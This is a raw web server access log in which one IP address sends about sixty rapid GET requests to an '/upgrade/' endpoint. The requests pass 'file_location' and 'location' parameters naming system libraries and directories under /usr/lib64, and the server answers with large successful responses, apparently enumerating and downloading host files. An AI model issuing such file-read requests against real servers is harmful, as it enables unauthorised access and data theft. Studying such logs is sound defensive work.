45.135.193.11 - - [11/Sep/2026:22:53:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136666 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibksba.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 225694 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibksba.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 287071 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqld.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4302 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqld.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-32.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 328304 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-32.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-posix.so.3.0.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108176 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-posix.so.3.0.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:01 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Frsocket HTTP/1.1" 200 6197 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Frsocket" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:01 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpkcs11 HTTP/1.1" 200 6169 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpkcs11" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcryptsetup.so.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 384868 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcryptsetup.so.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibimaevm.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115988 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibimaevm.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_enc.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128917 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_enc.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnn.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144223 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnn.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh_threads.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 322003 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh_threads.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xtest.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107608 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xtest.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-diff.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 163838 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-diff.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcurl.so.4.7.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 411662 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcurl.so.4.7.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefa.so.1.4.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126426 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefa.so.1.4.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_pthreads-2.1.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107867 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_pthreads-2.1.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstpbutils-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 211794 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstpbutils-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoft2-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144450 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoft2-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprocps.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138618 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprocps.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-damage.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107793 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-damage.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:10 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpm-utils HTTP/1.1" 200 6082 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpm-utils" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 181591 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhistory.so.8.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126449 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhistory.so.8.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FxsltConf.sh&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103880 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FxsltConf.sh&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbsd.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 141199 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbsd.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-nf-3.so.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145425 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-nf-3.so.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudisks2.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 341829 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudisks2.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmuu.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110816 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmuu.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibflashrom.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 321682 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibflashrom.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextpo.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 271113 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextpo.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgnutls.so.30.40.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1451530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgnutls.so.30.40.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt_mit.so.12.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139560 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt_mit.so.12.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoftokn3.chk&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103812 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoftokn3.chk&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_idmap.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116502 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_idmap.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsysfs.so.2.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122928 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsysfs.so.2.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:24 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fsystemd HTTP/1.1" 200 6177 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fsystemd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibarchive.so.13&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 496179 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibarchive.so.13&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstpbutils-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 211600 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstpbutils-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmd.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133552 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmd.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoft2-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144151 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoft2-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xf86dri.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109687 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xf86dri.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fpreloadable_libintl.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123778 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fpreloadable_libintl.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:30 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fossl-modules HTTP/1.1" 200 6171 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fossl-modules" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 158729 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibctf.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpg-error.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpg-error.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104531 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnbd.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 225679 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnbd.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnghttp2.so.14.20.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176349 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnghttp2.so.14.20.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcap.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 240180 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcap.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpspell.so.15&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106126 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpspell.so.15&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:33 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpipewire-0.3 HTTP/1.1" 200 8372 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpipewire-0.3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgusb.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131374 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgusb.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpython3.9.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1838268 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpython3.9.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraqm.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113900 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraqm.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibref_array.so.1.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109310 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibref_array.so.1.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145444 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLX.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuuc.so.67.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 949014 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuuc.so.67.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 347165 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
